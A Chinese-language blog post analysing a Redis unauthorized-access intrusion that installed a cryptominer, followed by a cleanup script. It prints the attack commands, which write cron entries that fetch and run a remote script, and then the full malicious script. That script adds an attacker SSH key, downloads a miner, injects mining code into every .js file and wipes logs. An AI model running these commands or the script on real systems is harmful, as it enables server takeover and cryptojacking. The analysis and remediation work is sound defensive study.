分析Redis未授权访问缺陷,导致服务器变矿机的攻防
由于redis没有安全配置,黑客利用redis安全漏洞入侵了服务器。
攻击者通过redis命令 config set
与save
完成入侵过程.使用redis-cli -h <ip> <port>
登录服务redis-server,将redis的数据文件改到/var/spool/cron/root
文件中,再通save
命令将定时任务shell脚本写入到/var/spool/cron/root
中,完成定时执行shell脚本,来实现提权及其它操作;
使用命令“telnet ip port”命令登录,例如
1 | telnet ***.**.**.112 6379,登录后,输入auth和密码进行认证。 |
1 | CONFIG SET dbfilename root |
1 | CONFIG SET dir /var/spool/cron |
1 2 3 4 5 | set Back1 "\t\n*/2 * * * * curl -fsSL http://xxx.xxx.com:43768/shz.sh | sh\n\t" set Back2 "\t\n*/5 * * * * wget -O .cmd http://xxx.xxx.xxx.xxx:43768/shz.sh && bash .cmd\n\t" set Back3 "\t\n*/10 * * * * lynx -source http://xxx.xxx.xxx.xxx:43768/shz.sh > .cmd && bash .cmd\n\t" |
1 | save |
1 2 3 4 5 6 7 8 9 10 11 | crontab -l REDIS0007 redis-ver3.2.5 redis-bits㨭ebێused-mem8þ Back1? */2 * * * * curl -fsSL http://xxx.xxx.com:43768/shz.sh | sh Back3@S */10 * * * * lynx -source http://xxx.xxx.xxx.xxx:43768/shz.sh > .cmd && bash .cmd Back2@K975735 */5 * * * * wget -O .cmd http://xxx.xxx.xxx.xxx:43768/shz.sh && bash .cmd |
可以看到定时任务会定时去请求脚本并执行
这部份脚本大家自己分析吧,大至的意思就是禁用了SELINUX,添加了SSH免登录,修改了wget、curl为get、url,重新写了个定时任务脚本,并下载了zijw文件使用charrt +i zijw ,让用户不能删除zijw文件,向服务器所有.js文件添加了一段脚本,封掉管理,云X等软件访问端口并将进行kill 掉,最后清理入侵日志;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 | #!/bin/sh setenforce 0 2>dev/null echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2" oddir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url if [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok" fi if [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir} fi mkdir /root/.ssh [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc filesize=`ls -l zigw | awk '{ print $5 }'` file="/etc/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://xxx.xxx.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /etc http://xxx.xxx.xxx.xxx:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /etc http://xxx.xxx.xxx.xxx:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://xxx.xxx.com:43768:43768/shz.sh | sh" >> ${crondir} fi ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp filesize=`ls -l zigw | awk '{ print $5 }'` file="/tmp/zigw" if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.com:43768/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.com:43768/zigw fi fi chmod 777 zigw sleep 1s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 10 http://xxx.xxx.xxx.xxx:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=10 -P /tmp http://xxx.xxx.xxx.xxx:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=10 -P /tmp http://xxx.xxx.xxx.xxx:43768/shz.sh fi sh /tmp/shz.sh fi fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 14444 -j DROP iptables-save service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\; history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history echo > /var/spool/mail/root |
因为有定时任务会定时执行,导至如果短时间不能做完所有操作,前面做的清理都变成无用功,所以先理清原理,制做脚本批量清理就OK了。清理脚本如下:
clearxmr.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | # 先关掉redis端口 iptables -A INPUT -p tcp --dport 6379 -j DROP # 清理定时任务 crontab -r # 清除redis key Back1 Back3 Back3 redis-cli -h xxx.xxx.xxx.xxx -x del Back1 redis-cli -h xxx.xxx.xxx.xxx -x del Back2 redis-cli -h xxx.xxx.xxx.xxx -x del Back3 redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dbfilename dump.rdb redis-cli -h xxx.xxx.xxx.xxx -x CONFIG SET dir /tmp redis-cli -h xxx.xxx.xxx.xxx -x save # 清理运行脚本 kill -9 `ps -ef|grep shz.sh|grep -v grep|awk '{print $2}'` kill -9 `ps -ef|grep zigw|grep -v grep|awk '{print $2}'` kill -9 `ps -ef|grep cmd|grep -v grep|awk '{print $2}'` chattr -i /etc/zigw chattr -i /tmp/zigw chattr -i /tmp/shz.sh rm -rf /etc/zigw rm -rf /tmp/zigw rm -rf /tmp/shz.sh rm -rf ~/.cmd # 清理SSH免登录信息 cat /dev/null> ~/.ssh/authorized_keys # 清理js脚本 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$d' mv /usr/bin/get /usr/bin/wget mv /usr/bin/url /usr/bin/curl |
附个清理的其它方式脚本
1 2 3 4 5 6 7 8 9 10 |